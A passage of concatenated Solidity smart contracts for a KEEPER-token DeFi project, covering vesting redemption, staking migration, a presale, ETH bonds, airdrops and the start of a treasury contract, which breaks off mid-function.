_staking ) external onlyOwner() { require( _staking != address(0) ); staking = _staking; } // Sets terms for a new wallet function setTerms(address _vester, uint _amountCanClaim, uint _rate ) external onlyOwner() returns ( bool ) { terms[_vester].max = _amountCanClaim; terms[_vester].initPercent = _rate; return true; } // Sets terms for multiple wallets function setTermsMultiple(address[] calldata _vesters, uint[] calldata _amountCanClaims, uint[] calldata _rates ) external onlyOwner() returns ( bool ) { for (uint i=0; i < _vesters.length; i++) { terms[_vesters[i]].max = _amountCanClaims[i]; terms[_vesters[i]].initPercent = _rates[i]; } return true; } // Allows wallet to redeem cKEEPER for KEEPER function exercise( uint _amount, bool _stake, bool _wrap ) external returns ( bool ) { Term memory info = terms[ msg.sender ]; require( redeemable( info ) >= _amount, 'Not enough vested' ); require( info.max.sub( info.claimed ) >= _amount, 'Claimed over max' ); uint usdcAmount = _amount.div(1e12); IERC20( USDC ).safeTransferFrom( msg.sender, address( this ), usdcAmount ); IcKEEPER( cKEEPER ).burnFrom( msg.sender, _amount ); IERC20( USDC ).approve( treasury, usdcAmount ); uint KEEPERToSend = ITreasury( treasury ).deposit( usdcAmount, USDC, 0 ); terms[ msg.sender ].claimed = info.claimed.add( _amount ); if ( _stake ) { IERC20( KEEPER ).approve( staking, KEEPERToSend ); IStaking( staking ).stake( KEEPERToSend, msg.sender, _wrap ); } else { IERC20( KEEPER ).safeTransfer( msg.sender, KEEPERToSend ); } return true; } // Allows wallet owner to transfer rights to a new address function pushWalletChange( address _newWallet ) external returns ( bool ) { require( terms[ msg.sender ].initPercent != 0 ); walletChange[ msg.sender ] = _newWallet; return true; } // Allows wallet to pull rights from an old address function pullWalletChange( address _oldWallet ) external returns ( bool ) { require( walletChange[ _oldWallet ] == msg.sender, "wallet did not push" ); walletChange[ _oldWallet ] = address(0); terms[ msg.sender ] = terms[ _oldWallet ]; delete terms[ _oldWallet ]; return true; } // Amount a wallet can redeem based on current supply function redeemableFor( address _vester ) public view returns (uint) { return redeemable( terms[ _vester ]); } function redeemable( Term memory _info ) internal view returns ( uint ) { if ( _info.initPercent == 0 ) { return 0; } uint keeperSupply = IERC20( KEEPER ).totalSupply(); if (keeperSupply < CLIFF) { return 0; } else if (keeperSupply > TOUCHDOWN) { keeperSupply = TOUCHDOWN; } uint percent = Y_INCREASE.mul(keeperSupply.sub(CLIFF)).div(TOUCHDOWN.sub(CLIFF)).add(_info.initPercent); return ( keeperSupply.mul( percent ).mul( 1000 ) ).sub( _info.claimed ); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../interfaces/IStaking.sol"; contract aKeeperStake2 is Ownable { using SafeMath for uint256; IERC20 public aKEEPER; IERC20 public KEEPER; address public staking; mapping( address => uint ) public depositInfo; uint public depositDeadline; uint public withdrawStart; uint public withdrawDeadline; constructor(address _aKEEPER, uint _depositDeadline, uint _withdrawStart, uint _withdrawDeadline) { require( _aKEEPER != address(0) ); aKEEPER = IERC20(_aKEEPER); depositDeadline = _depositDeadline; withdrawStart = _withdrawStart; withdrawDeadline = _withdrawDeadline; } function setDepositDeadline(uint _depositDeadline) external onlyOwner() { depositDeadline = _depositDeadline; } function setWithdrawStart(uint _withdrawStart) external onlyOwner() { withdrawStart = _withdrawStart; } function setWithdrawDeadline(uint _withdrawDeadline) external onlyOwner() { withdrawDeadline = _withdrawDeadline; } function setKeeperStaking(address _KEEPER, address _staking) external onlyOwner() { KEEPER = IERC20(_KEEPER); staking = _staking; } function depositaKeeper(uint amount) external { require(block.timestamp < depositDeadline, "Deadline passed."); aKEEPER.transferFrom(msg.sender, address(this), amount); depositInfo[msg.sender] = depositInfo[msg.sender].add(amount); } // function withdrawaKeeper() external { // require(block.timestamp > withdrawStart, "Not started."); // uint amount = depositInfo[msg.sender].mul(110).div(100); // require(amount > 0, "No deposit present."); // delete depositInfo[msg.sender]; // aKEEPER.transfer(msg.sender, amount); // } function migrate() external { require(block.timestamp > withdrawStart, "Not started."); require( address(KEEPER) != address(0) ); uint amount = depositInfo[msg.sender].mul(110).div(100); require(amount > 0, "No deposit present."); delete depositInfo[msg.sender]; KEEPER.transfer(msg.sender, amount); } function migrateTrove(bool _wrap) external { require(block.timestamp > withdrawStart, "Not started."); require( staking != address(0) ); uint amount = depositInfo[msg.sender].mul(110).div(100); require(amount > 0, "No deposit present."); delete depositInfo[msg.sender]; KEEPER.approve( staking, amount ); IStaking( staking ).stake( amount, msg.sender, _wrap ); } function withdrawAll() external onlyOwner() { require(block.timestamp > withdrawDeadline, "Deadline not yet passed."); uint256 Keeperamount = KEEPER.balanceOf(address(this)); KEEPER.transfer(msg.sender, Keeperamount); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../interfaces/IStaking.sol"; contract aKeeperStake is Ownable { using SafeMath for uint256; IERC20 public aKEEPER; IERC20 public KEEPER; address public staking; mapping( address => uint ) public depositInfo; uint public depositDeadline; uint public withdrawStart; uint public withdrawDeadline; constructor(address _aKEEPER, uint _depositDeadline, uint _withdrawStart, uint _withdrawDeadline) { require( _aKEEPER != address(0) ); aKEEPER = IERC20(_aKEEPER); depositDeadline = _depositDeadline; withdrawStart = _withdrawStart; withdrawDeadline = _withdrawDeadline; } function setDepositDeadline(uint _depositDeadline) external onlyOwner() { depositDeadline = _depositDeadline; } function setWithdrawStart(uint _withdrawStart) external onlyOwner() { withdrawStart = _withdrawStart; } function setWithdrawDeadline(uint _withdrawDeadline) external onlyOwner() { withdrawDeadline = _withdrawDeadline; } function setKeeperStaking(address _KEEPER, address _staking) external onlyOwner() { KEEPER = IERC20(_KEEPER); staking = _staking; } function depositaKeeper(uint amount) external { require(block.timestamp < depositDeadline, "Deadline passed."); aKEEPER.transferFrom(msg.sender, address(this), amount); depositInfo[msg.sender] = depositInfo[msg.sender].add(amount); } function withdrawaKeeper() external { require(block.timestamp > withdrawStart, "Not started."); uint amount = depositInfo[msg.sender].mul(125).div(100); require(amount > 0, "No deposit present."); delete depositInfo[msg.sender]; aKEEPER.transfer(msg.sender, amount); } function migrate() external { require( address(KEEPER) != address(0) ); uint amount = depositInfo[msg.sender].mul(125).div(100); require(amount > 0, "No deposit present."); delete depositInfo[msg.sender]; KEEPER.transfer(msg.sender, amount); } function migrateTrove(bool _wrap) external { require( staking != address(0) ); uint amount = depositInfo[msg.sender].mul(125).div(100); require(amount > 0, "No deposit present."); delete depositInfo[msg.sender]; KEEPER.approve( staking, amount ); IStaking( staking ).stake( amount, msg.sender, _wrap ); } function withdrawAll() external onlyOwner() { require(block.timestamp > withdrawDeadline, "Deadline not yet passed."); uint256 Keeperamount = KEEPER.balanceOf(address(this)); KEEPER.transfer(msg.sender, Keeperamount); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../interfaces/IStaking.sol"; contract oldaKeeperRedeem is Ownable { using SafeMath for uint256; IERC20 public KEEPER; IERC20 public aKEEPER; address public staking; event KeeperRedeemed(address tokenOwner, uint256 amount); event TroveRedeemed(address tokenOwner, uint256 amount); constructor(address _KEEPER, address _aKEEPER, address _staking) { require( _KEEPER != address(0) ); require( _aKEEPER != address(0) ); require( _staking != address(0) ); KEEPER = IERC20(_KEEPER); aKEEPER = IERC20(_aKEEPER); staking = _staking; } function setStaking(address _staking) external onlyOwner() { require( _staking != address(0) ); staking = _staking; } function migrate(uint256 amount) public { require(aKEEPER.balanceOf(msg.sender) >= amount, "Cannot Redeem more than balance"); aKEEPER.transferFrom(msg.sender, address(this), amount); KEEPER.transfer(msg.sender, amount); emit KeeperRedeemed(msg.sender, amount); } function migrateTrove(uint256 amount, bool _wrap) public { require(aKEEPER.balanceOf(msg.sender) >= amount, "Cannot Redeem more than balance"); aKEEPER.transferFrom(msg.sender, address(this), amount); IERC20( KEEPER ).approve( staking, amount ); IStaking( staking ).stake( amount, msg.sender, _wrap ); emit TroveRedeemed(msg.sender, amount); } function withdraw() external onlyOwner() { uint256 amount = KEEPER.balanceOf(address(this)); KEEPER.transfer(msg.sender, amount); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../interfaces/AggregateV3Interface.sol"; contract aKeeperPresale is Ownable { using SafeMath for uint; using SafeERC20 for IERC20; IERC20 public aKEEPER; address public USDC; address public USDT; address public DAI; address public wBTC; address public gnosisSafe; mapping( address => uint ) public amountInfo; uint deadline; AggregatorV3Interface internal ethPriceFeed; AggregatorV3Interface internal btcPriceFeed; event aKeeperRedeemed(address tokenOwner, uint amount); constructor(address _aKEEPER, address _USDC, address _USDT, address _DAI, address _wBTC, address _ethFeed, address _btcFeed, address _gnosisSafe, uint _deadline) { require( _aKEEPER != address(0) ); require( _USDC != address(0) ); require( _USDT != address(0) ); require( _DAI != address(0) ); require( _wBTC != address(0) ); require( _ethFeed != address(0) ); require( _btcFeed != address(0) ); aKEEPER = IERC20(_aKEEPER); USDC = _USDC; USDT = _USDT; DAI = _DAI; wBTC = _wBTC; gnosisSafe = _gnosisSafe; deadline = _deadline; ethPriceFeed = AggregatorV3Interface( _ethFeed ); btcPriceFeed = AggregatorV3Interface( _btcFeed ); } function setDeadline(uint _deadline) external onlyOwner() { deadline = _deadline; } function ethAssetPrice() public view returns (int) { ( , int price, , , ) = ethPriceFeed.latestRoundData(); return price; } function btcAssetPrice() public view returns (int) { ( , int price, , , ) = btcPriceFeed.latestRoundData(); return price; } function maxAmount() internal pure returns (uint) { return 100000000000; } function getTokens(address principle, uint amount) external { require(block.timestamp < deadline, "Deadline has passed."); require(principle == USDC || principle == USDT || principle == DAI || principle == wBTC, "Token is not acceptable."); require(IERC20(principle).balanceOf(msg.sender) >= amount, "Not enough token amount."); // Get aKeeper amount. aKeeper is 9 decimals and 1 aKeeper = $100 uint aKeeperAmount; if (principle == DAI) { aKeeperAmount = amount.div(1e11); } else if (principle == wBTC) { aKeeperAmount = amount.mul(uint(btcAssetPrice())).div(1e9); } else { aKeeperAmount = amount.mul(1e1); } require(maxAmount().sub(amountInfo[msg.sender]) >= aKeeperAmount, "You can only get a maximum of $10000 worth of tokens."); IERC20(principle).safeTransferFrom(msg.sender, gnosisSafe, amount); aKEEPER.transfer(msg.sender, aKeeperAmount); amountInfo[msg.sender] = amountInfo[msg.sender].add(aKeeperAmount); emit aKeeperRedeemed(msg.sender, aKeeperAmount); } function getTokensEth() external payable { require(block.timestamp < deadline, "Deadline has passed."); uint amount = msg.value; // Get aKeeper amount. aKeeper is 9 decimals and 1 aKeeper = $100 uint aKeeperAmount = amount.mul(uint(ethAssetPrice())).div(1e19); require(maxAmount().sub(amountInfo[msg.sender]) >= aKeeperAmount, "You can only get a maximum of $10000 worth of tokens."); safeTransferETH(gnosisSafe, amount); aKEEPER.transfer(msg.sender, aKeeperAmount); amountInfo[msg.sender] = amountInfo[msg.sender].add(aKeeperAmount); emit aKeeperRedeemed(msg.sender, aKeeperAmount); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'STE'); } function withdraw() external onlyOwner() { uint256 amount = aKEEPER.balanceOf(address(this)); aKEEPER.transfer(msg.sender, amount); } function withdrawEth() external onlyOwner() { safeTransferETH(gnosisSafe, address(this).balance); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./interfaces/AggregateV3Interface.sol"; import "./interfaces/IWETH9.sol"; import "./interfaces/ITreasury.sol"; import "./interfaces/IStaking.sol"; import "./libraries/FixedPoint.sol"; import "./libraries/SafeMathExtended.sol"; contract EthBondDepository is Ownable { using FixedPoint for *; using SafeERC20 for IERC20; using SafeMathExtended for uint; using SafeMathExtended for uint32; /* ======== EVENTS ======== */ event BondCreated( uint deposit, uint indexed payout, uint indexed expires, uint indexed priceInUSD ); event BondRedeemed( address indexed recipient, uint payout, uint remaining ); event BondPriceChanged( uint indexed priceInUSD, uint indexed internalPrice, uint indexed debtRatio ); event ControlVariableAdjustment( uint initialBCV, uint newBCV, uint adjustment, bool addition ); /* ======== STATE VARIABLES ======== */ address public immutable KEEPER; // token given as payment for bond address public immutable principle; // token used to create bond address public immutable treasury; // mints KEEPER when receives principle address public immutable DAO; // receives profit share from bond AggregatorV3Interface internal priceFeed; address public staking; // to auto-stake payout Terms public terms; // stores terms for new bonds Adjust public adjustment; // stores adjustment to BCV data mapping( address => Bond ) public bondInfo; // stores bond information for depositors uint public totalDebt; // total value of outstanding bonds; used for pricing uint32 public lastDecay; // reference block for debt decay /* ======== STRUCTS ======== */ // Info for creating new bonds struct Terms { uint32 vestingTerm; // in seconds uint controlVariable; // scaling variable for price uint minimumPrice; // vs principle value. 4 decimals (1500 = 0.15) uint maxPayout; // in thousandths of a %. i.e. 500 = 0.5% uint maxDebt; // 9 decimal debt ratio, max % total supply created as debt } // Info for bond holder struct Bond { uint32 vesting; // seconds left to vest uint32 lastTime; // Last interaction uint payout; // KEEPER remaining to be paid uint pricePaid; // In DAI, for front end viewing } // Info for incremental adjustments to control variable struct Adjust { bool add; // addition or subtraction uint rate; // increment uint target; // BCV when adjustment finished uint32 buffer; // minimum length (in blocks) between adjustments uint32 lastTime; // block when last adjustment made } /* ======== INITIALIZATION ======== */ constructor ( address _KEEPER, address _principle, address _staking, address _treasury, address _DAO, address _feed) { require( _KEEPER != address(0) ); KEEPER = _KEEPER; require( _principle != address(0) ); principle = _principle; require( _treasury != address(0) ); treasury = _treasury; require( _DAO != address(0) ); DAO = _DAO; require( _staking != address(0) ); staking = _staking; require( _feed != address(0) ); priceFeed = AggregatorV3Interface( _feed ); } /** * @notice initializes bond parameters * @param _controlVariable uint * @param _vestingTerm uint * @param _minimumPrice uint * @param _maxPayout uint * @param _maxDebt uint * @param _initialDebt uint */ function initializeBondTerms(uint _controlVariable, uint32 _vestingTerm, uint _minimumPrice, uint _maxPayout, uint _maxDebt, uint _initialDebt) external onlyOwner() { require( terms.controlVariable == 0 && terms.vestingTerm == 0, "Bonds must be initialized from 0" ); terms = Terms ({ controlVariable: _controlVariable, vestingTerm: _vestingTerm, minimumPrice: _minimumPrice, maxPayout: _maxPayout, maxDebt: _maxDebt }); totalDebt = _initialDebt; lastDecay = uint32(block.timestamp); } /* ======== POLICY FUNCTIONS ======== */ enum PARAMETER { VESTING, PAYOUT, DEBT, MINPRICE } /** * @notice set parameters for new bonds * @param _parameter PARAMETER * @param _input uint */ function setBondTerms ( PARAMETER _parameter, uint _input ) external onlyOwner() { if ( _parameter == PARAMETER.VESTING ) { // 0 require( _input >= 129600, "Vesting must be longer than 36 hours" ); decayDebt(); require( totalDebt == 0, "Debt should be 0." ); terms.vestingTerm = uint32(_input); } else if ( _parameter == PARAMETER.PAYOUT ) { // 1 require( _input <= 1000, "Payout cannot be above 1 percent" ); terms.maxPayout = _input; } else if ( _parameter == PARAMETER.DEBT ) { // 2 terms.maxDebt = _input; } else if ( _parameter == PARAMETER.MINPRICE ) { // 3 terms.minimumPrice = _input; } } /** * @notice set control variable adjustment * @param _addition bool * @param _increment uint * @param _target uint * @param _buffer uint */ function setAdjustment ( bool _addition, uint _increment, uint _target, uint32 _buffer ) external onlyOwner() { require( _increment <= terms.controlVariable.mul( 25 ).div( 1000 ), "Increment too large" ); adjustment = Adjust({ add: _addition, rate: _increment, target: _target, buffer: _buffer, lastTime: uint32(block.timestamp) }); } /** * @notice set contract for auto stake * @param _staking address */ // function setStaking( address _staking ) external onlyOwner() { // require( _staking != address(0) ); // staking = _staking; // } /* ======== USER FUNCTIONS ======== */ /** * @notice deposit bond * @param _amount uint * @param _maxPrice uint * @param _depositor address * @return uint */ function deposit( uint _amount, uint _maxPrice, address _depositor) external payable returns ( uint ) { require( _depositor != address(0), "Invalid address" ); require( msg.value == 0 || _amount == msg.value, "Amount should be equal to ETH transferred"); decayDebt(); uint priceInUSD = bondPriceInUSD(); // Stored in bond info uint nativePrice = _bondPrice(); require( _maxPrice >= nativePrice, "Slippage limit: more than max price" ); // slippage protection uint value = ITreasury( treasury ).valueOfToken( principle, _amount ); uint payout = payoutFor( value ); // payout to bonder is computed require( payout >= 10000000, "Bond too small" ); // must be > 0.01 KEEPER ( underflow protection ) require( payout <= maxPayout(), "Bond too large"); // size protection because there is no slippage /** asset carries risk and is not minted against asset transfered to treasury and rewards minted as payout */ if (address(this).balance >= _amount) { // pay with WETH9 IWETH9(principle).deposit{value: _amount}(); // wrap only what is needed to pay IWETH9(principle).transfer(treasury, _amount); } else { IERC20( principle ).safeTransferFrom( msg.sender, treasury, _amount ); } ITreasury( treasury ).mintRewards( address(this), payout ); // total debt is increased totalDebt = totalDebt.add( value ); require( totalDebt <= terms.maxDebt, "Max capacity reached" ); // depositor info is stored bondInfo[ _depositor ] = Bond({ payout: bondInfo[ _depositor ].payout.add( payout ), vesting: terms.vestingTerm, lastTime: uint32(block.timestamp), pricePaid: priceInUSD }); // indexed events are emitted emit BondCreated( _amount, payout, block.timestamp.add( terms.vestingTerm ), priceInUSD ); emit BondPriceChanged( bondPriceInUSD(), _bondPrice(), debtRatio() ); adjust(); // control variable is adjusted refundETH(); //refund user if needed return payout; } /** * @notice redeem bond for user * @param _recipient address * @param _stake bool * @return uint */ function redeem( address _recipient, bool _stake, bool _wrap ) external returns ( uint ) { Bond memory info = bondInfo[ _recipient ]; uint percentVested = percentVestedFor( _recipient ); // (seconds since last interaction / vesting term remaining) if ( percentVested >= 10000 ) { // if fully vested delete bondInfo[ _recipient ]; // delete user info emit BondRedeemed( _recipient, info.payout, 0 ); // emit bond data return stakeOrSend( _recipient, _stake, _wrap, info.payout ); // pay user everything due } else { // if unfinished // calculate payout vested uint payout = info.payout.mul( percentVested ).div( 10000 ); // store updated deposit info bondInfo[ _recipient ] = Bond({ payout: info.payout.sub( payout ), vesting: info.vesting.sub32( uint32(block.timestamp).sub32( info.lastTime ) ), lastTime: uint32(block.timestamp), pricePaid: info.pricePaid }); emit BondRedeemed( _recipient, payout, bondInfo[ _recipient ].payout ); return stakeOrSend( _recipient, _stake, _wrap, payout ); } } /* ======== INTERNAL HELPER FUNCTIONS ======== */ /** * @notice allow user to stake payout automatically * @param _stake bool * @param _amount uint * @return uint */ function stakeOrSend( address _recipient, bool _stake, bool _wrap, uint _amount ) internal returns ( uint ) { if ( !_stake ) { // if user does not want to stake IERC20( KEEPER ).transfer( _recipient, _amount ); // send payout } else { // if user wants to stake IERC20( KEEPER ).approve( staking, _amount ); IStaking( staking ).stake( _amount, _recipient, _wrap ); } return _amount; } /** * @notice makes incremental adjustment to control variable */ function adjust() internal { uint timeCanAdjust = adjustment.lastTime.add( adjustment.buffer ); if( adjustment.rate != 0 && block.timestamp >= timeCanAdjust ) { uint initial = terms.controlVariable; if ( adjustment.add ) { terms.controlVariable = terms.controlVariable.add( adjustment.rate ); if ( terms.controlVariable >= adjustment.target ) { adjustment.rate = 0; } } else { terms.controlVariable = terms.controlVariable.sub( adjustment.rate ); if ( terms.controlVariable <= adjustment.target || terms.controlVariable < adjustment.rate ) { adjustment.rate = 0; } } adjustment.lastTime = uint32(block.timestamp); emit ControlVariableAdjustment( initial, terms.controlVariable, adjustment.rate, adjustment.add ); } } /** * @notice reduce total debt */ function decayDebt() internal { totalDebt = totalDebt.sub( debtDecay() ); lastDecay = uint32(block.timestamp); } /* ======== VIEW FUNCTIONS ======== */ /** * @notice determine maximum bond size * @return uint */ function maxPayout() public view returns ( uint ) { return IERC20( KEEPER ).totalSupply().mul( terms.maxPayout ).div( 100000 ); } /** * @notice calculate interest due for new bond * @param _value uint * @return uint */ function payoutFor( uint _value ) public view returns ( uint ) { return FixedPoint.fraction( _value, bondPrice() ).decode112with18().div( 1e14 ); } /** * @notice calculate current bond premium * @return price_ uint */ function bondPrice() public view returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 1e5 ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } } /** * @notice calculate current bond price and remove floor if above * @return price_ uint */ function _bondPrice() internal returns ( uint price_ ) { price_ = terms.controlVariable.mul( debtRatio() ).div( 1e5 ); if ( price_ < terms.minimumPrice ) { price_ = terms.minimumPrice; } else if ( terms.minimumPrice != 0 ) { terms.minimumPrice = 0; } } /** * @notice get asset price from chainlink */ function assetPrice() public view returns (int) { ( , int price, , , ) = priceFeed.latestRoundData(); return price; } /** * @notice converts bond price to DAI value * @return price_ uint */ function bondPriceInUSD() public view returns ( uint price_ ) { price_ = bondPrice().mul( uint( assetPrice() ) ).mul( 1e6 ); } /** * @notice calculate current ratio of debt to KEEPER supply * @return debtRatio_ uint */ function debtRatio() public view returns ( uint debtRatio_ ) { uint supply = IERC20( KEEPER ).totalSupply(); debtRatio_ = FixedPoint.fraction( currentDebt().mul( 1e9 ), supply ).decode112with18().div( 1e18 ); } /** * @notice debt ratio in same terms as reserve bonds * @return uint */ function standardizedDebtRatio() external view returns ( uint ) { return debtRatio().mul( uint( assetPrice() ) ).div( 1e8 ); // ETH feed is 8 decimals } /** * @notice calculate debt factoring in decay * @return uint */ function currentDebt() public view returns ( uint ) { return totalDebt.sub( debtDecay() ); } /** * @notice amount to decay total debt by * @return decay_ uint */ function debtDecay() public view returns ( uint decay_ ) { uint32 timeSinceLast = uint32(block.timestamp).sub32( lastDecay ); decay_ = totalDebt.mul( timeSinceLast ).div( terms.vestingTerm ); if ( decay_ > totalDebt ) { decay_ = totalDebt; } } /** * @notice calculate how far into vesting a depositor is * @param _depositor address * @return percentVested_ uint */ function percentVestedFor( address _depositor ) public view returns ( uint percentVested_ ) { Bond memory bond = bondInfo[ _depositor ]; uint timeSinceLast = uint32(block.timestamp).sub( bond.lastTime ); uint vesting = bond.vesting; if ( vesting > 0 ) { percentVested_ = timeSinceLast.mul( 10000 ).div( vesting ); } else { percentVested_ = 0; } } /** * @notice calculate amount of KEEPER available for claim by depositor * @param _depositor address * @return pendingPayout_ uint */ function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) { uint percentVested = percentVestedFor( _depositor ); uint payout = bondInfo[ _depositor ].payout; if ( percentVested >= 10000 ) { pendingPayout_ = payout; } else { pendingPayout_ = payout.mul( percentVested ).div( 10000 ); } } /* ======= AUXILLIARY ======= */ /** * @notice allow anyone to send lost tokens (excluding principle or KEEPER) to the DAO * @return bool */ function recoverLostToken( address _token ) external returns ( bool ) { require( _token != KEEPER ); require( _token != principle ); IERC20( _token ).safeTransfer( DAO, IERC20( _token ).balanceOf( address(this) ) ); return true; } function refundETH() internal { if (address(this).balance > 0) safeTransferETH(DAO, address(this).balance); } /// @notice Transfers ETH to the recipient address /// @dev Fails with `STE` /// @param to The destination of the transfer /// @param value The value to be transferred function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'STE'); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; contract aKeeperAirdrop is Ownable { using SafeMath for uint; IERC20 public aKEEPER; IERC20 public USDC; address public gnosisSafe; constructor(address _aKEEPER, address _USDC, address _gnosisSafe) { require( _aKEEPER != address(0) ); require( _USDC != address(0) ); aKEEPER = IERC20(_aKEEPER); USDC = IERC20(_USDC); gnosisSafe = _gnosisSafe; } receive() external payable { } function airdropTokens(address[] calldata _recipients, uint[] calldata _amounts) external onlyOwner() { for (uint i=0; i < _recipients.length; i++) { aKEEPER.transfer(_recipients[i], _amounts[i]); } } function refundUsdcTokens(address[] calldata _recipients, uint[] calldata _amounts) external onlyOwner() { for (uint i=0; i < _recipients.length; i++) { USDC.transfer(_recipients[i], _amounts[i]); } } function refundEth(address[] calldata _recipients, uint[] calldata _amounts) external onlyOwner() { for (uint i=0; i < _recipients.length; i++) { safeTransferETH(_recipients[i], _amounts[i]); } } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'STE'); } function withdraw() external onlyOwner() { uint256 amount = aKEEPER.balanceOf(address(this)); aKEEPER.transfer(msg.sender, amount); } function withdrawUsdc() external onlyOwner() { uint256 amount = USDC.balanceOf(address(this)); USDC.transfer(gnosisSafe, amount); } function withdrawEth() external onlyOwner() { safeTransferETH(gnosisSafe, address(this).balance); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.7.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./interfaces/AggregateV3Interface.sol"; import "./interfaces/ILPCalculator.sol"; import "./interfaces/IERC20Extended.sol"; import "./interfaces/IKeplerERC20.sol"; import "./interfaces/ISPV.sol"; import "./interfaces/IStaking.sol"; contract Treasury is Ownable { using SafeERC20 for IERC20Extended; using SafeMath for uint; event Deposit( address indexed token, uint amount, uint value ); event DepositEth( uint amount, uint value ); event Sell( address indexed token, uint indexed amount, uint indexed price ); event SellEth( uint indexed amount, uint indexed price ); event ReservesWithdrawn( address indexed caller, address indexed token, uint amount ); event ReservesUpdated( uint indexed totalReserves ); event ReservesAudited( uint indexed totalReserves ); event ChangeActivated( MANAGING indexed managing, address activated, bool result ); event SPVUpdated( address indexed spv ); enum MANAGING { RESERVETOKEN, LIQUIDITYTOKEN, VARIABLETOKEN } struct PriceFeed { address feed; uint decimals; } IKeplerERC20 immutable KEEPER; uint public constant keeperDecimals = 9; uint public immutable priceAdjust; // 4 decimals. 1000 = 0.1 address[] public reserveTokens; mapping( address => bool ) public isReserveToken; address[] public variableTokens; mapping( address => bool ) public isVariableToken; address[] public liquidityTokens; mapping( address => bool ) public isLiquidityToken; mapping( address => address ) public lpCalculator; // bond calculator for liquidity token mapping( address => PriceFeed ) public priceFeeds; // price feeds for variable token uint public totalReserves; uint public spvDebt; uint public daoDebt; uint public ownerDebt; uint public reserveLastAudited; AggregatorV3Interface internal ethPriceFeed; address public staking; address public vesting; address public SPV; address public immutable DAO; uint public daoRatio; // 4 decimals. 1000 = 0.1 uint public spvRatio; // 4 decimals. 7000 = 0.7 uint public vestingRatio; // 4 decimals. 1000 = 0.1 uint public stakeRatio; // 4 decimals. 9000 = 0.9 uint public lcv; // 4 decimals. 1000 = 0.1 uint public keeperSold; uint public initPrice; // To deposit initial reserves when price is undefined (Keeper supply = 0) constructor (address _KEEPER, address _USDC, address _USDT, address _DAI, address _DAO, address _vesting, address _ethPriceFeed, uint _priceAdjust, uint _initPrice) { require( _KEEPER != address(0) ); KEEPER = IKeplerERC20(_KEEPER); require( _DAO != address(0) ); DAO = _DAO; require( _vesting != address(0) ); vesting = _vesting; isReserveToken[ _USDC] = true; reserveTokens.push( _USDC ); isReserveToken[ _USDT] = true; reserveTokens.push( _USDT ); isReserveToken[ _DAI ] = true; reserveTokens.push( _DAI ); ethPriceFeed = AggregatorV3Interface( _ethPriceFeed ); priceAdjust = _priceAdjust; initPrice = _initPrice; } function treasuryInitialized() external onlyOwner() { initPrice = 0; } function setSPV(address _SPV) external onlyOwner() { require( _SPV != address(0), "Cannot be 0"); SPV = _SPV; emit SPVUpdated( SPV ); } function setVesting(address _vesting) external onlyOwner() { require( _vesting != address(0), "Cannot be 0"); vesting = _vesting; } function setStaking(address _staking) external onlyOwner() { require( _staking != address(0), "Cannot be 0"); staking = _staking; } function setLcv(uint _lcv) external onlyOwner() { require( lcv == 0 || _lcv <= lcv.mul(3).div(2), "LCV cannot change sharp" ); lcv = _lcv; } function setTreasuryRatio(uint _daoRatio, uint _spvRatio, uint _vestingRatio, uint _stakeRatio) external onlyOwner() { require( _daoRatio <= 1000, "DAO more than 10%" ); require( _spvRatio <= 7000, "SPV more than 70%" ); require( _vestingRatio <= 2000, "Vesting more than 20%" ); require( _stakeRatio >= 1000 && _stakeRatio <= 10000, "Stake ratio error" ); daoRatio = _daoRatio; spvRatio = _spvRatio; vestingRatio = _vestingRatio; stakeRatio = _stakeRatio; } function getPremium(uint _price) public view returns (uint) { return _price.mul( lcv ).mul( keeperSold ).div( KEEPER.totalSupply().sub( KEEPER.balanceOf(vesting) ) ).div( 1e4 ); } function getPrice() public view returns ( uint ) { if (initPrice != 0) { return initPrice; } else { return totalReserves.add(ownerDebt).add( ISPV(SPV).totalValue() ).add( priceAdjust ).mul(10 ** keeperDecimals).div( KEEPER.totalSupply().sub( KEEPER.balanceOf(vesting) ) ); } } function ethAssetPrice() public view returns (uint) { ( , int price, , , ) = ethPriceFeed.latestRoundData(); return uint(price).mul( 10 ** keeperDecimals ).div( 1e8 ); } function variableAssetPrice(address _address, uint _decimals) public view returns (uint) { ( , int price, , , ) = AggregatorV3Interface(_address).latestRoundData(); return uint(price).mul( 10 ** keeperDecimals ).div( 10 ** _decimals ); } function EthToUSD( uint _amount ) internal view returns ( uint ) { return _amount.mul( ethAssetPrice() ).div( 1e18 ); } function auditTotalReserves() public { uint reserves; for( uint i = 0; i < 